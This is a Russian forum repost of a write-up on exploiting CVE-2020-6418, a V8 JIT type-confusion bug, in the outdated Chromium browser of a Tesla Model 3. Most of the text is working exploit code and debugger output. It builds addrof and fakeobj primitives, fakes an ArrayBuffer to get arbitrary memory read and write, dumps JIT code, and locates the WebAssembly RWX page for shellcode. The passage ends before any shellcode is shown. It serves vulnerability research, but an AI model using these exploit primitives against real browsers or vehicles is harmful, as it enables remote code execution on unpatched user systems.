• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья ЭЛЕКТРИЧЕСКИЙ ХРОМ - CVE-2020-6418 на Tesla Model 3

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Дисклеймер: все технические объяснения, насколько мне известно, допускают человеческие ошибки. Понятия могут быть намеренно или иным образом чрезмерно упрощены. Я не обнаружил использованную уязвимость и не создал каких-либо методов, используемых для ее использования.

В ноябре 2019 года я посетил Advanced Browser Exploitation от Ret2 Systems в Трое, штат Нью-Йорк, где очень подробно изучил внутреннее устройство V8 Google Chrome и JavaScriptCore Apple Safari. В конце пятидневного курса мы закончили реализацией полного эксплойта для Chrome, который запускал xcalculator, пока песочница была отключена.

В последний день тренировок мы все уехали, и по дороге домой я на своем Volkswagen Jetta сбил оленя на скоростях шоссе. Некоторое время я подумывал о покупке Tesla Model 3, и эта авария послужила поводом для этого.

Через несколько недель прибыла блестящая новая машина. Первое, что я заметил: сильно устаревший браузер на основе Chromium.

1.jpeg


Screenshot_13.png


Это казалось отличным применением навыков, полученных в ходе обучения, поэтому я начал следить за обновлениями Tesla и следить за патчами V8, которые можно было бы использовать в качестве основы для эксплойта. Проект на какое-то время отошел на второй план, пока в конце февраля 2020 года мне на глаза не попался пост в блоге Exodus Intelligence.

К этому времени Tesla выпустила несколько обновлений программного обеспечения, доведя Chromium до 79.0.3945.88 в их выпуске 2020.4.1. Поскольку программное обеспечение Tesla появилось раньше патча Google на несколько недель, казалось весьма вероятным, что автомобильный браузер окажется уязвимым! Поскольку Exodus предоставил полный эксплойт, первые 90% кода были выполнены, а все оставшееся - это вторые 90% портируемые на Tesla.

Необходимые знания

Предполагается некоторое знание использования JIT-движков в современных браузерах (Safari или Chrome). Для непосвященных эти ресурсы должны стать прочной основой:

- LiveOverflow - Browser Exploitation (Video Series)
- saelo - Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622
- saelo - Exploiting Logic Bugs in JavaScript JIT Engines
- Syed Faraz Abrar - Exploiting v8: *CTF 2019 oob-v8
- Exodus Intelligence - Patch-Gapping Google Chrome
- Exodus Intelligence - A Window of Opportunity: Exploiting a Chrome 1day Vulnerability
- Exodus Intelligence - A Eulogy for Patch-Gapping Chrome (The post that inspired this effort)

Для получения более подробной информации настоятельно рекомендуется пройти курс Advanced Browser Exploitation от Ret2 Systems.

Выявление и создание уязвимого V8

Обычно этот тип уязвимости легче исследовать в отлаживаемой версии интерпретатора JavaScript. В проекте Chromium это называется d8. Первый шаг - определить коммит проекта V8, соответствующую версии Chromium. Это можно сделать, введя номер версии Chromium в поле поиска версии omahaproxy:

3.jpeg

Во-первых, мы должны настроить среду разработки и собрать V8 на этом коммите. Репозиторий depot_tools содержит все необходимое для сборки Chromium и всех его компонентов на стандартной виртуальной машине amd64 Ubuntu 18.04:

Bash:
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools
$ echo "export PATH=`pwd`/depot_tools:$PATH" >> ~/.bashrc
$ source ~/.bashrc
$ fetch --nohooks v8
$ cd v8
$ git checkout 2dd34650e3ed0541e2025aaabd9fca88b92adba3
$ gclient sync --with_branch_heads
$ ./build/install-build-deps.sh

Наконец, соберите d8 в режиме отладки. На моем MacBook Pro это заняло примерно 25 минут.

Bash:
$ ./tools/dev/gm.py x64.debug
$ ./out/x64.debug/d8
V8 version 7.9.317.32
d8>

Сайдбар: изменение коммитов

При изменении коммитов процесс немного отличается:

Bash:
$ git checkout some-other-commit
$ gclient sync --with_branch_heads
$ ninja -C ./out/x64.debug d8

Запуск эксплойта

Теперь запустите урезанную версию эксплойта Exodus, слегка измененную для работы в d8 вместо браузера. Мы ожидаем, что в результате будет указано, что поврежденная длина float_rel является большим числом:

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initial corruption target
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];

return Object.prototype;
}
});

function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}

for (var i = 0; i < 0x10000; ++i) {empty();}

main(empty);
main(empty);

// Function would be jit compiled now.
main(p);

print(`Corrupted length of float_rel array = ${float_rel.length}\n`);

Bash:
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
Corrupted length of float_rel array = 5

Что ж, прискорбно. Предполагается, что эта версия V8 уязвима, и на самом деле, изучив исправление, легко увидеть, что уязвимость должна присутствовать. Патч состоит из одной строчки (плюс регрессионный тест):

Bash:
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
           // We reached the allocation of the {receiver}.
           return kNoReceiverMaps;
         }
+        result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.
         break;
       }
       case IrOpcode::kJSCreatePromise: {

Этот тип однострочного исправления типичен для проблем моделирования побочных эффектов, когда любой допустимый побочный эффект должен аннулировать некоторые предположения, сделанные на этапах оптимизации JIT-компилятора. Если посмотреть на src/compiler/node-properties.cc в целевом коммите, добавленная строка отсутствует.

Почему не работает?

Отчет об ошибке содержит пример сценария, который должен вызвать ошибку. Запуск сценария в d8 приводит к сбою:

ITERATIONS = 10000;
TRIGGER = false;

function f(a, p) {
return a.pop(Reflect.construct(function() {}, arguments, p));
}

let a;
let p = new Proxy(Object, {
get: function() {
if (TRIGGER) {
a[2] = 1.1;
}
return Object.prototype;
}
});
for (let i = 0; i < ITERATIONS; i++) {
let isLastIteration = i == ITERATIONS - 1;
a = [0, 1, 2, 3, 4];
if (isLastIteration)
TRIGGER = true;
print(f(a, p));
}
Bash:
$ ./out/x64.debug/d8 crash.js
[...]
abort: CSA_ASSERT failed: Word32BinaryNot(IsFixedDoubleArrayMap(source_map)) [../../src/codegen/code-stub-assembler.cc:4335]

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x7efe61492e20]
    1: StubFrame [pc: 0x7efe612652c2]
Security context: 0x06a306d1b291 <JSObject>#0#
    2: /* anonymous */ [0x6a306d1f5b9] [/home/ubuntu/crash.js:~1] [pc=0x22f42f303476](this=0x384816c80141 <JSGlobal Object>#1#)
    3: InternalFrame [pc: 0x7efe6125891a]
    4: EntryFrame [pc: 0x7efe612586f8]

==== Details ================================================

[0]: ExitFrame [pc: 0x7efe61492e20]
[1]: StubFrame [pc: 0x7efe612652c2]
[2]: /* anonymous */ [0x6a306d1f5b9] [/home/ubuntu/crash.js:~1] [pc=0x22f42f303476](this=0x384816c80141 <JSGlobal Object>#1#) {
// optimized frame
--------- s o u r c e   c o d e ---------
ITERATIONS = 10000;\x0aTRIGGER = false;\x0a\x0afunction f(a, p) {\x0a    return a.pop(Reflect.construct(function() {}, arguments, p));\x0a}\x0a\x0alet a;\x0alet p = new Proxy(Object, {\x0a    get: function() {\x0a        if (TRIGGER) {\x0a            a[2] = 1.1;\x0a        }\x0a        return Object.prototype;\x0a    }\x0a});\x0afor (let i = 0; i...

-----------------------------------------
}
[3]: InternalFrame [pc: 0x7efe6125891a]
[4]: EntryFrame [pc: 0x7efe612586f8]
==== Key         ============================================

#0# 0x6a306d1b291: 0x06a306d1b291 <JSObject>
#1# 0x384816c80141: 0x384816c80141 <JSGlobal Object>
=====================

Received signal 4 ILL_ILLOPN 7efe61c3ff71

==== C stack trace ===============================

[0x7efe61c42731]
[0x7efe61c42680]
[0x7efe5e3d2890]
[0x7efe61c3ff71]
[0x7efe608ccdd7]
[0x7efe608ccad2]
[0x7efe61492e20]
[end of stack trace]
Illegal instruction (core dumped)

Ясно, что ошибка присутствует. Возможно, между версией Tesla и применением патча есть какая-то фиксация, которая пролила бы некоторый свет на это.

Устранение неполадок с помощью git bisect

git bisect - очень полезный инструмент, который поможет сузить коммит. При выполнении двоичного поиска по диапазону коммитов количество коммитов, которые необходимо протестировать, резко сокращается.

Во-первых, мы должны определить границы поиска и определить одну как "старую", а другую как "новую". Версия V8, используемая в Tesla, будет "старой" границей.

Изменение патча связано с его родительским коммитом (то есть последним коммитом перед патчем): bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07, который будет "новой" границей.

На каждом этапе процесса деления пополам необходимо перестроить d8 в выбранном коммите, после чего можно будет запустить эксплойт Exodus. Затем результат передается в git путем пометки коммита как "старый" (не сработал) или "новый" (сработал). В конце процесса мы должны быть в том коммите, где начал работать эксплойт Exodus. Разница между этим коммитом и его родительским должна показать, почему эксплойт не работает в версии, используемой в браузере Tesla.

Начните с запуска git bisect и определения границ:

Bash:
$ git bisect start
$ git bisect old 2dd34650e3ed0541e2025aaabd9fca88b92adba3
$ git bisect new bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
Bisecting: a merge base must be tested
[0d7889d0b14939fa5c09c39a0a5eb155b74163e4] [coverage] Correctly report coverage for inline scripts
$ gclient sync --with_branch_heads && ninja -C ./out/x64.debug d8
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
Corrupted length of float_rel array = 5
$ git bisect old
Bisecting: 1010 revisions left to test after this (roughly 10 steps)
[70803a8fef8d93e2a73ab75f34fcead1090d81c4] Update V8 DEPS.
$ gclient sync --with_branch_heads && ninja -C ./out/x64.debug d8
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
[...]

После нескольких прыжков появляется виновник:

culprit.png


Оглядываясь назад, это кажется очевидным из текста сообщения в блоге Exodus, и я сразу понял проблему: сжатие указателя не было включено до Chrome 80! Хотя ошибка присутствует и до этого, метод затирания поля длины второго массива нежизнеспособен.

Сжатие указателя

Сообщение Exodus ссылается на статью, подробно описывающую сжатие указателя. Краткая версия состоит в том, что старшие 32 бита указателей на JSObject статичны во всем интерпретаторе и хранятся в выделенном регистре. При разыменовании указателя на JSObject младшие 32 бита, хранящиеся в куче, объединяются с старшими 32 битами, обеспечивая полный адрес.

Это означает, что размер double больше не совпадает с размером указателя. Когда первый элемент массива vuln установлен на объект, он изменяется с HOLEY_DOUBLE_ELEMENTS на HOLEY_ELEMENTS, doubles преобразуются из raw doubles в JSValues, а резервное хранилище перераспределяется в меньшее пространство.

raw_doubles.jpeg


packed_elements.jpeg




Вызов vuln.push() по-прежнему считает (в результате JIT-компиляции/оптимизации), что массив состоит из типа HOLEY_DOUBLE_ELEMENTS, и помещает аргумент прямо в vuln vuln.length * 8] как raw double. Создавая новый массив (float_rel) в прокси сразу после побуждения vuln к изменению типов, он будет частично выделен в пространстве, которое vuln обычно занимал, и, таким образом, запись за границу raw double can может сократить длину of float_rel, что позволяет контролировать относительное чтение/запись оттуда.

Без сжатых указателей vuln.push() по-прежнему помещает необработанное двойное значение в массив HOLEY_ELEMENTS, но он больше не выходит за пределы, и этот подход нежизнеспособен.

В сообщении Exodus говорится, что "[эта] уязвимость легко предоставляет примитивы addrof и fakeobj, поскольку мы можем рассматривать неупакованные двойные значения как помеченные указатели или наоборот". Они не предоставляют POC этого, и я не смог найти ни одного из других; пришло время проверить мою тренировку Ret2.

Начиная с нуля

Сборка addrof


Урезанная версия доказательства концепции Exodus очень близка к тому, чтобы уже иметь addrof: вызывая pop() в массиве вместо push(), адрес объекта будет возвращен как raw double. Просто!

function addrof(obj) {
let vuln = [0.1]; // [1] vuln is PACKED_DOUBLE_ELEMENTS

function empty() {}

function f(nt) {
let a = vuln.pop(Reflect.construct(empty, arguments, nt)); // [2] Reflect.construct triggers the proxy, [4] pop() still thinks vuln is PACKED_DOUBLE_ELEMENTS
for (var i = 0; i < 0x10000; i++) {};
return a;
}

let p = new Proxy(Object, {
get: function() {
vuln[0] = obj; // [3] Convert vuln to PACKED_ELEMENTS and write the address of obj into the last element (ready for pop())
return Object.prototype;
}
});

function main(o) {
for (var i = 0; i < 0x10000; i++) {};
return f(o);
}

for (var i = 0; i < 0x10000; i++) {empty();}

main(empty);
main(empty);

return main(p);
}

let leak_obj = {};
%DebugPrint(leak_obj);
print('addrof(leak_obj): ' + addrof(leak_obj))

И результаты многообещающие:

Bash:
$ ./out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/addrof.js
DebugPrint: 0x8543ed4b6f1: [JS_OBJECT_TYPE]
- map: 0x27bd44a40441 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x085af1902129 <Object map = 0x27bd44a40211>
- elements: 0x38e899880c09 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x38e899880c09 <FixedArray[0]> {}
0x27bd44a40441: [Map]
- type: JS_OBJECT_TYPE
- instance size: 56
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x38e8998804b9 <undefined>
- prototype_validity cell: 0x15d593500661 <Cell value= 1>
- instance descriptors (own) #0: 0x38e899880241 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x085af1902129 <Object map = 0x27bd44a40211>
- constructor: 0x085af1902161 <JSFunction Object (sfi = 0x15d59350a309)>
- dependent code: 0x38e8998802a9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

addrof(leak_obj): 4.5246158346984e-311
$ python -c "import struct; print(hex(struct.unpack('<Q', struct.pack('<d', 4.5246158346
984e-311))[0]))"
0x8543ed4b6f1
$

Теперь самое время проверить, присутствует ли ошибка на фактическом целевом устройстве. Это очень вероятно, поскольку эта прошивка предшествует публичному объявлению об ошибке, но все равно будет разумно проверить:

addrof.jpeg


Сборка fakeobj

Концептуально fakeobj прост, поскольку это addrof. Мы возвращаемся к использованию push() для записи raw double в массив, который был преобразован из PACKED_DOUBLE_ELEMENTS в PACKED_ELEMENTS.

Я потратил почти всю субботу на опечатку:

vuln.push(typeof(Reflect.construct(empty2, arguments, nt) === Proxy ? 0.2 : addr));

После более чем 20 лет программирования в той или иной степени все еще можно совершать такие глупые ошибки. Это должно было быть очевидно, когда объект считывал строку "number", но она не нажималась в течение нескольких часов.

Исправляем опечатку, остальное просто:

function addrof(obj) {
[...]
}

function fakeobj(addr) {
let vuln = [0.1]; // [1] Start with PACKED_DOUBLE_ELEMENTS

function empty2() {}

function f2(nt) {
vuln.push(typeof(Reflect.construct(empty2, arguments, nt)) === Proxy ? 0.2 : addr); // [2] Reflect.construct calls the proxy, [4] Push addr as a raw double
for (var i = 0; i < 0x10000; i++) {};
}

let p2 = new Proxy(Object, {
get: function() {
vuln[0] = {}; // [3] Convert to PACKED_ELEMENTS
return Object.prototype;
}
});

function main2(o) {
for (var i = 0; i < 0x10000; i++) {};
f2(o);
}

for (var i = 0; i < 0x10000; i++) { empty2(); }

main2(empty2);
main2(empty2);

main2(p2);
return vuln[3]; // [5] Read out the object and return
}

let leak_obj = {a: 1, b: 2};
let leak_addr = addrof(leak_obj);
let leak_fake = fakeobj(leak_addr);
if (leak_fake.a !== leak_obj.a || leak_fake.b !== leak_obj.b) {
print('Fake object does not match original, failed to set up fakeobj primitive!');
} else {
print('Fake object matches original!');

Bash:
$ ./out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/fakeobj.js
Fake object matches original!
$

И, конечно же, можно протестировать на реальной цели:

fakeobj.jpeg


Примерно через час после успешного внедрения fakeobj Tesla сделала решительный шаг:

tesla_update.jpeg


но

2020.8.1.jpeg


Похоже, что Tesla обновила свою сборку Chromium, но этого недостаточно, чтобы избежать этой ошибки. Чуть позже вышла версия 2020.12, в которой также содержалось 79.0.3945.130. Обратите внимание, что эта версия была впервые обнаружена Teslascope 13 марта 2020 года, а патч был выпущен 24 февраля с заметным освещением в СМИ.

Возможно, Tesla не считает браузер подходящей поверхностью для атак, или какой-то фактор (тяжелая настройка/интеграция Chromium в систему, длительные сроки выпуска прошивок) препятствует регулярному обновлению браузера.

На данный момент я решил пока оставаться на 2020.4.1.

Расширение до произвольного чтения/записи

Построение комбинации addrof/fakeobj на произвольное чтение/запись относительно просто: создайте поддельный ArrayBuffer, резервное хранилище которого указывает на структуру другого (реального) ArrayBuffer. Затем записывая в смещение поддельного ArrayBuffer, резервное хранилище реального ArrayBuffer может перемещаться произвольно. Оттуда первые два элемента реального ArrayBuffer обращаются к произвольному адресу.

FakeArrayBuffer.png

Эта процедура требует небольшого изменения в addrof/fakeobj, поскольку в текущей реализации каждая функция может быть вызвана только один раз. Обернув их в new Function() и добавив счетчик к каждой внутренней функции, можно будет запускать их произвольное количество раз:

var addrof_counter = 0;
var fakeobj_counter = 1000;

function addrof(obj) {
addrof_counter += 1;
for (var i = 0; i < 100; i++) {
let x = new Function('leak_obj', `let vuln = [0.1]; \
function empty${addrof_counter}() {} \
function f${addrof_counter}(nt) { \
let a = vuln.pop(Reflect.construct(empty${addrof_counter}, arguments, nt)); \
for (var i = 0; i < 0x10000; i++) {}; \
return a; \
} \

let p${addrof_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = leak_obj; \

return Object.prototype; \
} \
}); \

function main${addrof_counter}(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
return f${addrof_counter}(o); \
} \

for (var i = 0; i < 0x10000; i++) {empty${addrof_counter}();} \

main${addrof_counter}(empty${addrof_counter}); \
main${addrof_counter}(empty${addrof_counter}); \

let q = main${addrof_counter}(p${addrof_counter}); \
return Int64.from_double(q);`
)(obj);

if (x !== 0x7ff8000000000000) {
return x;
}
}
}

function fakeobj(addr) {
fakeobj_counter += 1;
return new Function('new_obj_addr', `let vuln = [0.1]; \
let empty${fakeobj_counter} = function() {} \

let f${fakeobj_counter} = function(nt) { \
vuln.push(typeof(Reflect.construct(empty${fakeobj_counter}, arguments, nt)) === Proxy ? 0.2 : new_obj_addr); \
for (var i = 0; i < 0x10000; i++) {}; \
} \

let p${fakeobj_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = {}; \
return Object.prototype; \
} \
}); \

let main${fakeobj_counter} = function(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
f${fakeobj_counter}(o); \
} \

for (var i = 0; i < 0x10000; i++) { empty${fakeobj_counter}(); } \

main${fakeobj_counter}(empty${fakeobj_counter}); \
main${fakeobj_counter}(empty${fakeobj_counter}); \

main${fakeobj_counter}(p${fakeobj_counter}); \
return vuln[3];`
)(addr);
}

Затем необходимо создать поддельный ArrayBuffer. Для этого также потребуется создать карту, которая выглядит как карта ArrayBuffer. Поскольку у нас еще нет произвольного чтения/записи, эта поддельная карта является несколько рискованной, поскольку некоторые операции (включая сборку мусора!) могут привести к разыменованию недействительных указателей. После того, как чтение/запись на месте, поддельная карта ArrayBuffer должна быть изменена на реальную карту как можно быстрее.

С Uint32Array в качестве представления поддельного ArrayBuffer, fake_array_buffer_u32 [8] и [9] выстраиваются в линию с указателем резервного хранилища target_array_buffer. После установки им адреса для чтения или записи, другой Uint32Array поверх target_array_buffer выставляет адрес как accessor[0] и [1].

var addrof_counter = 0;
var fakeobj_counter = 1000;

function addrof(obj) {
[...]
}

function fakeobj(addr) {
[...]
}

let target_array_buffer = new ArrayBuffer(0x200);

let fake_map = {
a: 0x3132, // Map root
b: new Int64('0x1900042417080808').to_double(), // flags
c: new Int64('0x00000000084003ff').to_double(), // flags 2
d: 0x4142, // prototype
e: 0x5152, // constructor_or_backpointer
f: 0x6162, // raw_transitions
g: 0, // instance_descriptors
h: 0x8182, // layout_descriptors
i: 0x9192, // dependent_code
};
let array_buffer_map = addrof(fake_map).add(0x18);

let holder = {
a: array_buffer_map.to_double(), // Map pointer
b: 0, // Properties array (don't care)
c: 0, // Elements array (don't care)
d: new Int64(0x200).to_double(), // Array length
e: addrof(target_array_buffer).sub(1).to_double(), // Backing store (not tagged)
f: new Int64(0x2).to_double(), // Flags
g: new Int64(0).to_double(), // Embedder (can just be 0)
};

let fake_pointer = addrof(holder).add(8*3);
let fake_array_buffer = fakeobj(fake_pointer.to_double());

// Make 32-bit accessors
let fake_array_buffer_u32 = new Uint32Array(fake_array_buffer);

memory = {
read64: function(addr) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
return new Int64(undefined, accessor[1], accessor[0]);
},

write64: function(addr, value) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
accessor[0] = value.low;
accessor[1] = value.high;
},
};

// Fix up the map of the fake object (mostly untested...)
let fake_array_buffer_ptr = addrof(fake_array_buffer).sub(1);
let target_array_buffer_ptr = addrof(target_array_buffer).sub(1);
memory.write64(fake_array_buffer_ptr, memory.read64(target_array_buffer_ptr));

memory.read64(new Int64('0xFEEDFACEDEADBEEF'));

Bash:
$ gdb ./out/x64.debug/d8
Reading symbols from ./out/x64.debug/d8...done.

warning: Could not find DWO CU obj/d8/d8.dwo(0x59baa2e3c76f6fbb) referenced by CU at offset 0xc0 [in module /home/ubuntu/v8/master/v8/out/x64.debug/d8]
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/arw.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 47307)]
[New Thread 0x7ffff266b700 (LWP 47308)]
[New Thread 0x7ffff1e6a700 (LWP 47309)]

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00007ffff7712f07 in Builtins_KeyedLoadIC_Megamorphic () from /home/ubuntu/v8/master/v8/out/x64.debug/libv8.so
=> 0x00007ffff7712f07 <Builtins_KeyedLoadIC_Megamorphic+44487>: 45 8b 04 98     mov    r8d,DWORD PTR [r8+rbx*4]
(gdb) i r r8
r8             0xfeedfacedeadbeef       -77129852189294865
(gdb)

Дизассемблирование JIT-скомпилированной функции с сюрпризом

Теперь, когда мы можем произвольно читать и писать любой адрес, необходимо задать вопрос: что интересного для чтения и записи и как можно найти адреса?

В этой версии Chromium есть средства защиты от записи в исполняемую страницу JIT, но исполняемые страницы WebAssembly по-прежнему доступны для записи. Сначала нам нужно знать, на какой архитектуре работает цель, чтобы написать или переназначить шелл-код.

Поскольку у нас есть произвольное чтение, мы можем начать с JIT-компиляции функции и следования некоторым указателям:

[Previous exploit code here...]

let jit_function = function(x) {
let y = x * 2 + 15;
return Math.atan2(y, x);
}

for (var i = 0; i < 10000; i++) { jit_function(i) }
for (var i = 0; i < 10000; i++) { jit_function(i) }
for (var i = 0; i < 10000; i++) { jit_function(i) }

/*
* For amd64:
* native_code = addrof(jit_pointer).sub(1).add(0x40)
* reference_to_atan2 = native_code.add(0xBF).add(0x2)
*/

let jit_function_ptr = addrof(jit_function).sub(1);
print("jit_function @" + jit_function_ptr);
let jit_code_obj = memory.read64(jit_function_ptr.add(0x30)).sub(1);
print("jit_code_obj @ " + jit_code_obj);
let native_code = jit_code_obj.add(0x40);
print("native code @ " + native_code);

for (var i = 0; i < 128; i++) {
print(memory.read64(native_code.add(i*8)));
}

Bash:
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 57032)]
[New Thread 0x7ffff266b700 (LWP 57033)]
[New Thread 0x7ffff1e6a700 (LWP 57034)]
jit_function @0x000027aeaf499758
jit_code_obj @ 0x000014aac9b47940
native code @ 0x000014aac9b47980
0x48fffffff91d8d48
0x0000ba481874d93b
0xba49000000360000
0x00007ffff76afcc0
0xe0598b48ccd2ff41
0xba490d74010f43f6
0x00007ffff7612480
[...]

И на реальной цели:

dump_jit_function.jpeg


Подключив это к онлайн-дизассемблеру (помните о порядке байтов!) и играя с разными архитектурами, появляются некоторые инструкции x86_64, включая очевидный пролог функции:

disassembly.png



Это было удивительно, так как я ожидал 32-битную ARM или AArch64! К счастью, это значительно упрощает оставшуюся часть эксплуатации, так как шелл-код можно протестировать в виртуальной машине.

Запуск шеллкода через WebAssembly

В качестве ярлыка я просто адаптировал код замены WebAssembly из сообщения в блоге Сайеда Фараза Абрара. Это потребовало лишь небольшой настройки:

1. Использование библиотеки Int64 вместо BigInt.
2. Адрес страницы RWX хранится в структуре экземпляра WebAssembly. Смещение в структуре в этой версии Chromium отличается от того, которое использовалось в задаче CTF сообщения в блоге.

Играя в отладчике и просматривая /proc /<d8 pid>/maps для сопоставлений RWX, обнаруживается, что адрес составляет 0x80 байт в структуре экземпляра WebAssembly.

[...previous exploit code...]

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
%DebugPrint(wasm_instance)

Bash:
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 80497)]
[New Thread 0x7ffff266b700 (LWP 80498)]
[New Thread 0x7ffff1e6a700 (LWP 80499)]
DebugPrint: 0x390fe46706f9: [WasmInstanceObject] in OldSpace
- map: 0x248f56ec92c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x04174b0c8681 <Object map = 0x248f56ecc881>
- elements: 0x0b0b03940c09 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x04174b0d9b21 <Module map = 0x248f56ec8d21>
- exports_object: 0x04174b0d9da1 <Object map = 0x248f56ecc9c1>
- native_context: 0x390fe46418c9 <NativeContext[253]>
- memory_object: 0x390fe46706c9 <Memory map = 0x248f56ec9cc1>
- table 0: 0x04174b0d9d51 <Table map = 0x248f56ec95e1>
- imported_function_refs: 0x0b0b03940c09 <FixedArray[0]>
- managed_native_allocations: 0x04174b0d9cc9 <Foreign>
- memory_start: 0x7ffddc000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55555570fa00
- globals_start: (nil)
- imported_mutable_globals: 0x55555570fa20
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x0b0b03940c09 <FixedArray[0]> {}

0x248f56ec92c1: [Map]
- type: WASM_INSTANCE_OBJECT_TYPE
- instance size: 280
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0b0b039404b9 <undefined>
- prototype_validity cell: 0x38ed1cd00661 <Cell value= 1>
- instance descriptors (own) #0: 0x0b0b03940241 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x04174b0c8681 <Object map = 0x248f56ecc881>
- constructor: 0x390fe465df99 <JSFunction Instance (sfi = 0x390fe465df59)>
- dependent code: 0x0b0b039402a9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

warning: Could not find DWO CU obj/v8_libbase/platform-posix.dwo(0x367e2bf44dc6e6d4) referenced by CU at offset 0x3c0 [in module /home/ubuntu/v8/master/v8/out/x64.debug/libv8_libbase.so]

Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.

Пока это работает, в новом терминале:

Bash:
$ ps aux | grep d8
ubuntu    56932  0.0  3.1 362372 256892 pts/2   S+   Mar30   0:22 gdb -q ./out/x64.debug/d8
ubuntu    80496  9.9  0.7 10926352 62868 pts/2  tl   16:24   0:09 /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
ubuntu    80506  0.0  0.0  16304  1092 pts/3    S+   16:25   0:00 grep --color=auto d8
$ cat /proc/80496/maps | grep rwxp
29f9a7b97000-29f9a7b98000 rwxp 00000000 00:00 0

И исследуя память WasmInstanceObject, адрес страницы RWX составляет 0x80 байтов в структуре:

(gdb) x/64gx 0x390fe46706f9-1
0x390fe46706f8: 0x0000248f56ec92c1 0x00000b0b03940c09
0x390fe4670708: 0x00000b0b03940c09 0x00007ffddc000000
0x390fe4670718: 0x0000000000010000 0x000000000000ffff
0x390fe4670728: 0x000055555564ca60 0x00000b0b03940c09
0x390fe4670738: 0x000055555570fa00 0x00000b0b039404b9
0x390fe4670748: 0x0000000000000000 0x0000000000000000
0x390fe4670758: 0x0000000000000000 0x0000000000000000
0x390fe4670768: 0x000055555570fa20 0x000055555564ca80
0x390fe4670778: 0x000029f9a7b97000 0x000004174b0d9b21
0x390fe4670788: 0x000004174b0d9da1 0x0000390fe46418c9
0x390fe4670798: 0x0000390fe46706c9 0x00000b0b039404b9
